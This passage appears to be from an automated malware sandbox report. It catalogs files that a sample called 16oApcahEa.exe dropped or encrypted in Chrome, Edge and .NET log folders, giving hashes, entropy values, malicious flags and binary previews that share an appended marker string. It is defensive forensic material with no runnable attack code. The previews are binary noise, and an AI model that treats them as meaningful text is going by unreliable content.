SSDEEP:	48:7JlIZ7STP/mGH1zryNkIAsDqTzCTPweZz02u0JD:VlYSrmGHJr9su/yoSz02J
MD5:	52B42D0B16319B5EFDE1F06A2DF4BC46
SHA1:	BEAA228907C85BA3873F07BBAA793B4FF23CE829
SHA-256:	CB6F765DC9747D3F536C927F08A23E704B8ADBE5400E805C5A46F95B3973A48E
SHA-512:	9C99C34329FCE93F845FD36DE418C6D1C89282D4E1FB7CCBF6055B54C89FFCBB463E86CE4EAF39AD76D6469DD427495FC620B1A21DC4C4D94014559803F2353C
Malicious:	false
Preview:	.PNG...C....S.......8.eP.....].'^......2..W}H6y.:-.T\|D.k#na.'......?.cO.~...2.....H^mBfj..Ey..T.7..V=..R.2.IfN.....5...~I.......Q~/...w..O.\......!0.<.:'Z.......]i&..ay.p.S..P.....e..%4..c...~.c.@i.~pb..-N....XF...{?.$....._H.X.7:.....D.B..-..&.S.U...U..{.4.ZT;..x.Hhza.U<.(0..X.8..6M..{2......9....U;.n/...)..Xr.....'..y.......d!...Z....d."\..g..vX...2dhoE.rf...;.EL....%.Il.4.L;..&..m..yQX.t4..h..[.^..a.b.D..ge04..t.A.s._..")%<.'...m..*..c...2.........E.P.I~.u%.K.yj......b}..!k.J.7......b\|.:.kD.(..~..Xt.L.;.s...Q5&-.<...gp.~;.E..o.N:..y .[.(..d _.Ss5wQ@..P[A.8.D.A...q..hNY..O.....kY5\|...#....<z25...!. \$...'xn..p.%F./G.,/............/....Z.0.i.eT.-....Jv..\|.....b.u..Q..E#~.v../...=2u..k.....<V....&g.1V.C}.C.Q....Q..f..G...u..W....5.^..._..<...m.\|........T>T......g..7Q.)....^W:.^..5y.E..-".."b..A.......Y.......P.\...b..gM.@,..K.h.T.3..6...yp...........!..y...Ne..g.a..p[NM..X.......G+t.,.. ....^9...9......X...s.Qqc@M.. .....]/U....p..%VD....l..=./.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4903
Entropy (8bit):	7.96125897464481
Encrypted:	false
SSDEEP:	96:o0YhGFWrjWlrxm1aO8HilUj+LeTaVi4eDtKHNqF7cEZDdFxM05WV1uIfDBj1:oH8Vlrx1nClPLeGV6tcCK05muIVB
MD5:	2C677A67B8E55445839C21CEDB1167E9
SHA1:	9382C98AA858847C51B983788336AAE6007D4328
SHA-256:	05642542AF9BD2199483E28B1C5C4CCAFBCBE6B324F69D51B140B1713699D669
SHA-512:	7B460FC6A2112A19B43B0676BD0A7285C17322EEF3F537051E7762CAD278AB3A56A2BA2492F00B8551A8EBEDDC5A36AB050BC8832B5588218209740C085E7187
Malicious:	false
Preview:	.PNG..uMv!01......."..+/...vl.. .H......SH.]...7W.X...~....E(`5...z. .....G..=8~&piM.d......B..2j..O.......`.o....-.HX.fl.d..`-...5.W..{...TX!.....kRV.,.....nd"..\|=..8..Z2.6....y.+........%...V.._..=fV.3.. J.J.wc^.7..0aR.....gr.....F...cB..w._..<.G;..s+ ~.a2B\...m...C..ZY.\. %.'.j.........[#.K....!.X..1..t.?.a.:`'Q.o..Vn..(..{N2$.\|c .q:.iSC.....'...).2F....r..C:."..?x..;~...]..y.ra6.2..9.!=.2.8..~.........\P.....:..?..\|..(%jP)pb..v.j9!u..."',SN..'v...)+......#..m..E4LN......r....p...I..=.{..):'..u......^.X...wE....6.'.z.x.....@..s.!!%.....5_aLV\|.0~....}a.. =.P..4..N/.{.e.x...Oc. ......f..n.J...k............p.2.FWDZ..2]x4[...TLq1......0.M.2.....Lo..o...J@.....n...6.^..L.;...I3af..U.~.Bh8.b.rP..(6.3j.+2.@./.D.sNNi[I.&...R$......?DF0..zwc.._..OMm.h.T.A.A..-.(+^^..i..{.g. .Y.....`W.}j.2....R.....J......st^c.Wc...]V...v.]h.v..Np...;{.."..%..Q7..4n.g!..t.]b.:~,..E...9....0X\|"+.lf.W..N.......j.b...]y...\|TL.........q...U....^...<~.{.......]H

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.803984483804001
Encrypted:	false
SSDEEP:	24:z135jEJR/v+YgGmlrw7mlwzDU3e+IUtmrYlD2gWkevUZjDsHRvRiypN39pbD:APgGmlaGmOJ6iD2ZMZjMRJXNNJD
MD5:	83CCED6F9494D01859AFF4356D3527AB
SHA1:	13487E46D4700E258E281CACA8238D9A5DEB2027
SHA-256:	712EAC264F726D97E397090C2C9B92B39573083DE199D746BB6AF3D663720B2A
SHA-512:	FBCC5FF45CD5D74FF0CAF56ACF3C11358BDB938F3A8EB9C9DCF88BFB3977B92753F1D97052DF639E7AC871518E644E4E3E0EC2F1E8F6F214BFD8A06822F68DB0
Malicious:	false
Preview:	.PNG.B!....g.....s.7..e.>5!.....g..m..Z.UKr.....!qOL..8.. ..N..M..........)EX`Cy`5C$.g....m.......Ikf7..m.x.`.F....(.]{....d.i2.(Bwx..Cm7r.F............W..f.7.m..Q..Q..\|.0..HF..."O0V^.h...4!0......Ut..ks...4p`....4.d.9.o..W.1Nq/..ll.&.x',.8......sU./B....R..-.&....G.....n...IE1v..........7&"b..2.@.m.\|:s..iV.Hx.,.._....l....[(.&P.5r.....<........nh.]e.. .9......K..j$...)yO.Pj..>...&5hP&...v\|Vc...Q+.m....E...]W..:.M_......O.....rE.\X.)...[&..)!N......,.`\..._..P.......6w....B..R`B.......Z..!.26.A..^t..V....7.........D/twW....X... \|5...9d.3W..h..B...]kU..6........e....S..D..,..\|...4...6.J..MY....-q..4.OR&....UI..(.~1x..."P.}*w..X.3..~..Dk....-7.Cw@L.)f.`3.....T....PPkr.dL.eG.U.U...x.H.U..x.P......t....v.U......S....X...NV..kR..K............6R.Yy.....6........J....!p..hB[.L..(..........y.F../\|.x.z.....8k...p...dq..!F.t....$..m...GZ......w.+"h..\|OVbv.=..w...\.g@......k.\/......P.t`..j8..v../...4r.\|.....u&.F...t...E...G.X..On...\x=.i.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	7.839501339213013
Encrypted:	false
SSDEEP:	24:FGhRG4ZbxhNfHfSqYoqbstiJxIOqS/bmLMZJnzd0zSpw47qHDQX1Ux9pbD:WRrgdbYQxIr4mLM3zd0zWw9K4JD
MD5:	D6F092601E685A05EB85459F146F3BB4
SHA1:	C1AF7A2FE5FF254FD9B53575BA7EB01ACFEF66CA
SHA-256:	2C5CE0DF84FBC0C9A800EFCA8DF36A2F7EABB90E35B25149473A2F3EEDC5C1AF
SHA-512:	B9AE15C3333516CBF44DF6F39A0A3C7821639F8525A74849337CE36FEFAF2F30B68FB4B7A90E123BF6DF60EAC37DC09DF6E9721118A2A5110F14BDF87E7CB3DF
Malicious:	false
Preview:	.PNG.....ei..h....m.<j.-<..-!P...u,.c...uIN.3..)s...h..e.m2nk.=..c.8.#@_...?.0...o..>D...s.F..Zt.U<..'%.C.gzv.1V..q.12^.b.'.........W/....[;O...9..4Y.p..&I../..#.qu..c.....O4'P..u.c{W1...+ji....C`.W....`...9'O.1Z~c}..@.......3..E...v.t........6....)gfO.WA...Foo/.X@..b.\|&N:.i.w....%....2..$..Nu......A....W...Z.$.2..IH..4...8?....\...M.&@N...W...Sne....7...I.$..;.&>...<8U..U;-..-.?..,s>.L.."......I..=.mTl...,...P.1.......O.E.[.C.C\|.R....0..F[.R%........CkD.!v...a....EFLo.9..Z.....[`N.'.]?P.P-..&T.I...o..Z....u....1o.$...@.....6IoI.0....R.fT..j6'..g.@...d?.A......^u:.O.b.....^)....&R.5c...q(.....q.W.#..;..,.......W}...[_.lV"ZDbd),&.......G...PH@Pw{/Q...xE..b....M./;.....N/.]..Y.FnEl.-.D.Q.E.C7.\|....8...d.A...V..r.q......3...cf.....F?~.4s"R%../........q0VX....McV6u.D..%.....0...TT0.K..3....(.Pu...m ...e..v..(z..NO.....).:J.v(U...B.....)...o.F(..Wj...T...kb.G..{+.J:GlV..K.y..H....1.....oo.8:.....M]rB=%.%.J.Y\|;.U.$..?.(@r..!.(+....m..Q=!.....z#xs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	7.859477401236967
Encrypted:	false
SSDEEP:	24:1KKPRutrbR2KTL3pl8PUAyWjgZnCIoL0cxhZ46F15K9G6Et/NTvWqfI7FIqG9pbD:obtrbR/TL5G2VDG0cxv44bmZEtS94JD
MD5:	4D3503363E1B900F65CCDCC854D1774C
SHA1:	57DC74709D9FECE8666D5AA59615220E18F62383
SHA-256:	1931FA48F5930C97A8B0D61796307DD904AE49D034E34246EFBA66109C944B46
SHA-512:	DA40931893FB9B15E231598B74E287306C5AAD98AF226B8D12B1E2232CB767E200CC04109DD5F51DCBE453FFA628FC7479F7D5FD7042EB1F782D9CA9020A63BD
Malicious:	false
Preview:	.PNG.!:.......C.\|t.[... .E...w...y..hq.....zo.4$1.[.o.p.vD.2..eR.'6q.dMA......\|....s.f.....8......F...~P;m<.[......P./.Uv.M7.$4...C..K.....;.....Es.......Op2.L.iq-=...B;M...u&..U...~.:.A......S.V......,..n.Nq..b.'......E.Oe.G....).....8.U..OM.\|..........aa..-..$.J...I K..m....!.Q-.q.m"s.1..1O.>_..5.k...,......\....#p.t..;...f....E.N..#L..... ....X.$../M...L..&.9jl....LFZ....7.@...Q..?.ay.g.d.m=.W2..qP.3...=\..M_X..N...M__.{,.C_..ZF...xn5.Pf..(I....(..=..1h.!..m...\|:.#...%`.%oF.=B..Z.U......).=...7..{....:.wosF.(a..(._.)oI.E.-:..!......"...\....8.L....-..%....I.....s3.F..,.......Z;..DC..b5/..........au.a.....i.5..?. /...........Xu.....K.....:.....3.m..$#...cx.q....?.8..G.vh........h\|.#+M...Sg.x.G..{..0$h....,m.I.,.... ......w&........-......Z...7l.).u..{.......,..._ .*9-.....48./.^.4.122F..Bl8.t'...n.R.!.F........W.6..Y....Dx.Oo.f.K.../......I>2a.&...tlv......j...........[.%....}1o.......!%.W....l/7a..$...H..?.H."....:.09`h.KD...`...s.)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1802
Entropy (8bit):	7.87165860079639
Encrypted:	false
SSDEEP:	48:V51a+wIM2ULY/ZVDVCUqfjcXON1aaWrYcV0d/OsJD:TX0LYxVBBqP1aTrYcVNW
MD5:	06E445864B4298364078667C82DD6119
SHA1:	205214F31F815BA86D7DBD0C925D309C57B8E40F
SHA-256:	2FDA1F1F7BD97E3804ADF30AA51E9D51D5C89BC230B852351ACDFBBDDD4D5684
SHA-512:	01DBA5EFE51892DF61F7B5E4A081BD622DB0329A5254EFB7EFFA83DFB6A1F10A467A44551CFC91CAB86CE87BF6FD567FC10AE45E2E12D82C7B1B29539A67292B
Malicious:	false
Preview:	.PNG.\|...!....q.G..x.....@.0..}.....%.....A.\|....r$.j....Y..h.D...( .......jxa..R...]Y.3\|+"F....4.8..g....00...y.)y....^q.+...q...?K>...J..aC...7#...~c..-(..3...6.^.f...L....$I&.9..!`...W.Q..x%{.6E.y.....!.ugb{..5qTO.p._...2{2......}...B.m./...WFM..u.P...8..Oe.o`.LR..W....]).../P.h.}G.}..BT...$.@m.]V.........h<>(...g."Sz5.....s..c...=.1.7.o...p.\|...3B.....G..)..>...v5.o.?[..%...w.6.q.zXZ<..T...B0..W&..p...&...p.M9}..E3Y."u.r.JZ.2i..x.......Uk.'.....o5..M4'...h..g..`.0.r.-C-.k.zM.(R.~.......6Q1D^w...'...hu.m..(O.Z.Oz.]k.k.$"..W..\|.sk...lw.....gL.2t.s.4h"7..j3y...(`.~=^...+.-..qP`....k...I.@..V.......<v....`L.\...g....2..<Z.]H..A..i.]..^.F......c.@MGrf.(..K:......$h.g.R... ..PH...#.v..].....16.Y.M.....GD.....u.i..C8.Q...T.d..}.u..B.m-."..a..-..9......X.h../`).`....(..iN.P.......P..Q.?7......J(.......9...b.l..XvRV.6.@.:C."m..0'q....=.....f....rJqv.e&G.&x..2,...9Cw.<.T>.h...-.\|.S...F.5fO..]xO.Si.4.)y....d44.Q.......kw...{..`{..l...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993944291981807
Encrypted:	true
SSDEEP:	384:rP17jlrBjrwJ4JSnNYcQXpDNiF6brVa0LVSIaXDaEuooDdy8BP45+qpCzBYe/Dvf:jpjg/ABa6HMtI+xuR147pyXznxU24pE
MD5:	46990F42B4D9B9EC35EA937963A3C5DD
SHA1:	91106413C9A44CA6259E32C3FD59AD4880B6F5E2
SHA-256:	0B00C234335296D5325D6DB18B58084CBA260D0CD563C727B0358051825511D4
SHA-512:	A0E2CD5B6B92A1722A201E7B3A6AD8902E5997B7E8B77273661CEE3728021E840C51F655DE5F3ECD447A829647BB0FEBEB4D407A3022DAF73D0446C44013DBFC
Malicious:	true
Preview:	SQLit.3Ps..DxB..$5.}.;..~.0<...%..A......d.%&.%.....].x.SL].5.,.^..JK.t.wwf..z$..~Hk..n..'..a.Jk..O.k.Yd....x.e..30.f..f.+#.3...>..!.."...n...'?X.+.T.r.{.v6.89....}z.i..y.%.Xo.4..=G...1...d._.?.......U.Om.!...5..f..&...,...X....P'.)E......Y..>.....Z..6.V....C.......s..h..s.'KiL...k.T.bI.]..,..{..{...X.p.^k{O.2..6k/...%.H........<,k......D.Z....Z..)...j...u.....'.wt.% (.V....D....;. .\|.5Dl..).]nv.......WTy...F..@Yy.....L..Q]PO{n..?du.LUa..1.t.@.Ei..f."s.....x=^1.t.....A.>.....Y..L.Gp,k}.P......?../.@.i..`..8g...4w../....5.N]......u.......b...E.D......?%E..u..._C...1.d...Q.TI"2U......J..k..c.`.Xm.ec.(..q.....L.\|.Y....#^..j.I...eh..@.8/...MZ.;..:.(.[.i..`.....z.M3.q..E..4.d.?...]@..V..v....v.aH..<...A.....0~.../.....J.7'X..=l...z.W..\.^.$y.K....3.T....a.-{....Jw..O..^..An.....6.T..c-..~.a;.h3.}...~...#.:V.r.j.]`.....Cb..g.=.....%O.t&.....Kpg...l...$.....@.'.oV..e.Z..m...4.......C....+,R...I.dl..4.O.;E^...%......0.#....V.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	58432
Entropy (8bit):	7.997231860965947
Encrypted:	true
SSDEEP:	1536:iPuO0RbzPjEaKcSFELqVKtCrKiXdJAZKzGyUc64j:iw45kWIt0KifTGS
MD5:	D781734265925D7DD38DEC6AB162DD0F
SHA1:	DD67DE4C7634EFCF838B941C7B3DFD1D91A2D985
SHA-256:	A397F7A5ACB253CE0FD0982B3B442F6D728B5E0A7C31200B45A1292345E24A9C
SHA-512:	4C5F96F5BFE1B4C41C199DD0CD38744ABCCE1E0A597A41D5B26C22B5BDEF2D8556930A717246B4ACBD458B528E901402BB8A2F94895FEE805146CC39D0C4B14B
Malicious:	true
Preview:	A..r...N.*...)..T...,..Ae$[K....?.#....S"..C.[.c..>0..rb.....7..1.s.F!.EP-y.. E.H...@...rF2.SWFi.d..[Q....9\|\x.....y...`q..KL.a....s8U.....F.......<.._Z.\mG.a.J.f..Y....Ra.......a.qc...o...].Y.W.P&...AER{\...vW5..,/.^...X.(.n..B.d......s.......b.....=.....b. .k...v.w\...n}-.....W.@,.LG..LLh;..qs..j.p..........j.w@bv...Z..OY..t.....T.S..N-$..c.9..r;'.L....&dx...;.\|=:5.\|....U.....K1.....E.(..p.......T....g%l....U.M..w.....^....$v._.(.s.N@<,..+..B....W(\..$.E...,l].Q...4Y.6.J....r.b...M.e..C.. .'....rr........{....+.y!....].R.F..........)+..0F./.f.%...M&.&...g.s&..v@hl.#..(Y!;..{..@.d.#...e...e.y..}q...W...,.3....Al..g"[.._.`.1h`Te+.(..U...<PbI6........_..C5.P.4./..&.0S......v......W.3.Y.2.>l..>}...5.J01ha.../.;\|.n..R14\|.@.,......&(Jm..a.x:..h.z,x..j.+...'.\|...u.\..).........l......z.?.R...sg......!.}z..."........)R.t.5...5.j...dc...C.....Y.N._.....z/1..G...E.p(./FD<....S..Z3#.j.\.q....S..?v.Z.O..9...N.9^....L.$1.z.o'.t4h...=.-j.M....i.bQ..\|.8..r..

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99632461855165
Encrypted:	true
SSDEEP:	1536:5mpGK3yZbeUyCcVk9zQw2KJqVIvCW4DtM6CycX:rqqcU9QwfCWkM6CyY
MD5:	422839A98F95202502B20A132ABF388F
SHA1:	01ECA58E059F1EA836CA41A8C022FB5C6032FD27
SHA-256:	A53A9566E7737A4EFC2A4C4A5AE18612DD2740E2F791F2498B7E165C42AAF169
SHA-512:	3F826E0FF6386B118DDF542828D626C76BB766784C3F91B60A33D4F7A235460AEFF67DA0757C26A155AD37ACAD924A851315789EBE1B9D95E3E3955D74E8640D
Malicious:	true
Preview:	SQLit..4..5OcK..... .......9.uz.e..............'N....dY...g..5:.a3.......{.d..}.?!........y...VAWc....\|'.-))....c.+.#..3..j:..?Z>.).85.......z:.,......E?....d!.M.h.....C,.Y....T..f......J.....@Q\.w.....+.{.Q..d[2...HD.1;.~.J..o.0....Gxa&U..I..6.0.s..7k........3B.t"6(!j..f.F....i..e+..&....\-............<>.08....m;......v8.~.F.....<\.4..v.S.Cu,#cN..lM....>..L..h.&V.8.6.r..nG...w..u..N$.......[h.........]}...BG. q.)$..,..\|....i....O..4k.`.......d" T5.$v...#.....^....6..qAd.....\............x.d.~;M....}h......k......i.%.......6tL.. Y.. ..=H...an(.e.y...G...o.cE.ei..U...b......O.I.O.t.W.)lJ..~u.c.F.'eybd..i.G...xb......W.....N&Nh.i...WM.F.l.i..".. I..E..W.....!...l...hn....Y.."...Q....B....R.u...S.a~.....g<.vj.>%7..b.....$.....L3I..p..P.=.(.....l.......C....<M..NG^..3.wS.D.Qh..Gk.e.y..{7]....._.@c.....)..;.........4g!...v....#`"^..\|.;..'....b.../b.6.....w}.e.}5..8..d......t.8.U...`..c...=.9..s'..KD...#m....v.*...$.a`NR.\o.Z.x;9..a\

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.192842848303228
Encrypted:	false
SSDEEP:	6:QfxESmgv8n3BAMDdEeg8+/DKLiArQpLJIY4W8GnNIT/C1n8cpwr39Hs2xcii96Z:Qfvv8nxATegj+zUQY4yWL9M2cii9a
MD5:	695BC0F1322B8794F1F16A4EB573A59C
SHA1:	AFAD1AF422A86430C25916457AD94B4DD092C6BA
SHA-256:	2DDD20616A7B2141C1C27F47B32C3F07B1D0DC1F502D1793F5249D2CAD0B3083
SHA-512:	5F89A0CA60841163B976FE4A949252A7F3743C5151488C4C842D98D0CE13B709E80CC559267FE48B27568EE4012DF050BCCB4F9271428B61A473238D1A277A86
Malicious:	false
Preview:	1,"fu.~2..y..IkL..ha/..0V.vR.{....]H....Sz.O.."\Tb.O./.G..vFR.P~.u.{+a.y........G.t.d<,o,.........0wf.:38....3....f/.d....V0."..g.,...It...d.>j...T.D..`. J..X.F..E2(.`..i..T.2.u.;.C.C...N.......V.SA.......-....0.Q.H{L..Y.'.z....gP.s.;..>....Q...@.+d.....OR.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.863878138468097
Encrypted:	false
SSDEEP:	48:+gBRU9J+K8t0Wa6E7dtmGFZALuwhX92EyYkNJD:FPOJfWaZZgXgZxn
MD5:	0BA222FEC37E24F35150BF0EBC575FB4
SHA1:	BB73692F2566723306CF6A481CF670BEE21A8D47
SHA-256:	5F73503F6D41E508F9A933EBE7B9389DD6046B2F52940971768B6D4521AB3D5C
SHA-512:	CD9640AB0A70CB65BBF12DAFD2C387B78FBADF295EDAB6530FECEFBA7FA2CBB8DB72A74C67ABB456F3B45CB19307682BE71085C3C71FD14F781CD4BAC57456D7
Malicious:	false
Preview:	1,"fuF~...p'3...8.._..p..$#%.^.P..j=Ht.<......F.q.l.....]....c.>....W..y5ys.]....g..`...E+1.JcF..a:R..Z..P...h.92BL/h#.PI..>Oq.~.....=.]H..`Ho..E.-._m.QF...oU...E...dm..U.2.)..<D..{X6..%w.... X..N.u.`.7.i.!...3.o...X.....M.X.....P.4....@w..,.t.......-.K......0{...~.........%..^./.,.Zj!...}`3.x.4l.$c....s.t\.hh..x..p..;.f..lC..{\!.=.Y..'E.....tmw%..W........Z....'..:..e.S..X.>v.........B. .t.y%..koi.T.;NT.......kp....3d...(.z.....{..... .?..W.{........}.o....3..P.@lf.E=)!..hK.\.ij...[.....+.q...Zd......q....K..((.K<=.~..AP..^P3P.iU!....[<.W..w..u.bX{e.D./i.B&E......4..Z._...?...G4...).........NO....k ...,.......n}:..~..#.F....E.k..+...}....G....h.^/..7..?.p$.}%B.V..{.....#{>...............)..-..Q#6......9..b.....X.H.M2`.Z.Z\|......`.......6..-U)[/&.VzI.[7..KK.CU..`Z&.....\|{..#...0..!.uu.A.o>...pdy.....q..6._...O.=E.cF.N...9...<Z.}K..c+.h.!...{...x...~..%OK..In.2<.....%.y7..V.e...r........l.Cm......(..4..L..2....i.&.`.h...5F.....f.9Z..E*a..&.0..:l.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7839411464457795
Encrypted:	false
SSDEEP:	24:gUT9FoASi0/acN3gKCyiKok8Cxe/c9TzzbY1JbH84bsTz9pbD:x9EiQ3Pi7kRxeuU1Jr54T5JD
MD5:	CE93BA87D5F5BE1C96C0FB9DBE840425
SHA1:	8943A49083E278257A836D832BED8EA40F31420A
SHA-256:	2B40F3D8397BD766F36B2CB5EACEF8D723924956F5208073581E100AF401637E
SHA-512:	8C031AEE9F12152922F61673FD89D4A1F0ACE6523DAEF6ACCB77BEB30A6BC08E45453E06830A8F84C32AC895168FB9D3152049A5F518C456D0B1B946F4A0A03F
Malicious:	false
Preview:	1,"fu....FT.{%Mm$..x#.q...+.H.....n..A.m.....B.y........).Q..mv...n.W:..>`5.C.K.5...i...s.Ev.Mt.._#..A.z.Jr.@b.@.>L....`...g.gf.?KmR$B6..>......X..#......m.m..X....h..?.]W..d0.Gl..........!l.v.9.o\|....f8...u...E..9r....u.........$._...'Xs.FO.@../..'.J.8...<Qg.>!...,h>r.Wa..88.2U.......G...%]..;1$. .F.UX.4....9.Nc.....1...E..`.p.......>.o.......Cs4..>..)....z.............<x......O8....y.A.L..N..O..Lid.j.j..q...fMC.Ji.e.........2'....G...qd;.G..W....4..16.;......Q!p#..[..s...z.....fW3Rc..m.NJK...k...8.tF<J.SdZ.......p.......3...#. .)......=..i]..,.......n.{r6...{...(>../.w03..y.3...I..,\..{F.........~.{..i.@7j...,.m.a.<).@7...z..v..O...# ..Q..;...e......5.X...q.<.i.~bV0._o.mD.C..(Hi...T...U.........xqW..a1.b..A..}n.T..d....;.....~.&-.!.R....y)-......z.1...#..D.t..A.y.\..D.2..M.JN......^.....YX-@<.Y....&.'jvD.^......T .`...Q....X.]A..*N-...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.790766103246593
Encrypted:	false
SSDEEP:	24:EVLhgNH2QCrpqRGJERiHapP0XbSUWQkAzktcgig4IYKz9pbD:IhmzCARGJgxpcX2L8ktcgL4IYEJD
MD5:	D4CAA30287D4C5F285190319316BF795
SHA1:	D39C954B2D4EAEBD8305B9A72E9D93F93FED7847
SHA-256:	F2DD5C018048D4C66D3BD9ADD137F85975091D8D8484512E358CC3D4DF1EEF0B
SHA-512:	58EBE1E80D08F899AD29E54A414267599B04C11023649D1797C9485FD6362814AEBC8D19452A7A2C6CBE05DACB3EC7770A3D677589B68423629ADFEA09675487
Malicious:	false
Preview:	1,"fu{1...7[p.../.^lbc?.>E.<..n....'....R/......"..Z......1.U....Q?Hm..H.\|.D.kJR.y]X..Y.t.=B...\|..Qi.w.....l.F.m.9.+.....,.J....;,..2%.s....c.[e,..$...K.P...v..n...t.}.V...G..^u...t7H^..,..b.w[.N..XNc....A.Z.u..,B....P\.ns..\y..>>:..e7.,o...}/.(Yi....u.\|..v.Y.._..Y.A.V5...5/>..:.>..6<..Slw\R6..[.2$....r)..IR6..L.......#..\|..5'A..T....B\|.%.E..0N..#7vn.G..PU#p..5.g2....AG".....Z0..)j.t5.v..1.g..7....]2....hu...U.eSf....3]n..5o..7V...x..q.0R......5..3.._HH@.......Tb.0....}..V.......@..D..Gepi.G.`......m4..J1D.Y...=O0Rq.F....:q?x)un..tr.>.:4..r.....a.Q.@..0`...k...`O....T"/.Ta3..(.P.....y...d............h.MH?3......U...00.ld..`.......2.+a.F.C..!X..r..BS.ah..-rd....&.F.&......?....F^.....%A.q.rVP..V.%]..4.......;..1......a......$).}b3...U(Y..H........B..3..k.xV..v&zJ....6.HL.._.+f...o.l...}....'..*.K.t..mEs....:.,$.1rgX.....{=...2.}....51C.O.2:.. G.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.386731676385957
Encrypted:	false
SSDEEP:	12:IiPgHJfmiKpz17jwWp/5EOUjE0sAZI9M2cii9a:tPKKbvXEObz9pbD
MD5:	55657AE25EF03DEA46DBC18C02EBB8A3
SHA1:	D87492B360EEF6BBF293EC1BE350204F4CFA5811
SHA-256:	4787ADEC8CA88267381C83549E1CAC3395232DC88C0DCD931914F896FAE530FE
SHA-512:	0FABEBE53C19FB51D2A429347AF15776C2F19C147A0F6752BC003E5F839378E0C5E77F86A6280AAE40ED71F00DFADAF464F295B11BDC73E206526C913EABCF8D
Malicious:	false
Preview:	1.8BFk..,~..:...q..8.p....[.....Y.'7:...#f..W..g.Ya...xW..%..T..U...J..7VW...?.`!.............f.1.~.f4....?.?.;zUj.&kV^..../..j..x.s...M.....7J..it&..F..Kp=..5%>\|4..........u...B..q....oC.`..f....%).P=..J..p+16M...@..I7......>.2..r..]....P.G..S.O........F...fo....$#2.*..y<J..."..i$l.ij....q..B..I..F.S/wxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.461132155868516
Encrypted:	false
SSDEEP:	12:Cl3xCUtMWrAeMymd2k+STSKuqwf9cpHNgGBs9M2cii9a:k3xbtMW3m2DSTVuqiqNgGm9pbD
MD5:	4C4D1050EEE7BF9820E27B8E8205B08A
SHA1:	CA36ED9EA0AB12B0C2E1AC8DB9623B4C300F1B06
SHA-256:	711053BD2F92B0610399D004258E84B3BD730CE4C81CD479AEB1A1997BF5E01A
SHA-512:	F76917A04B0125D9DCCC66751E5A2938E0A9F60BDDB4F9E8E0E5E82BECF15BEB8293C317DDEF2027755482C55D4675EFAA01EB3846814EAF594E1BF5ADE7A664
Malicious:	false
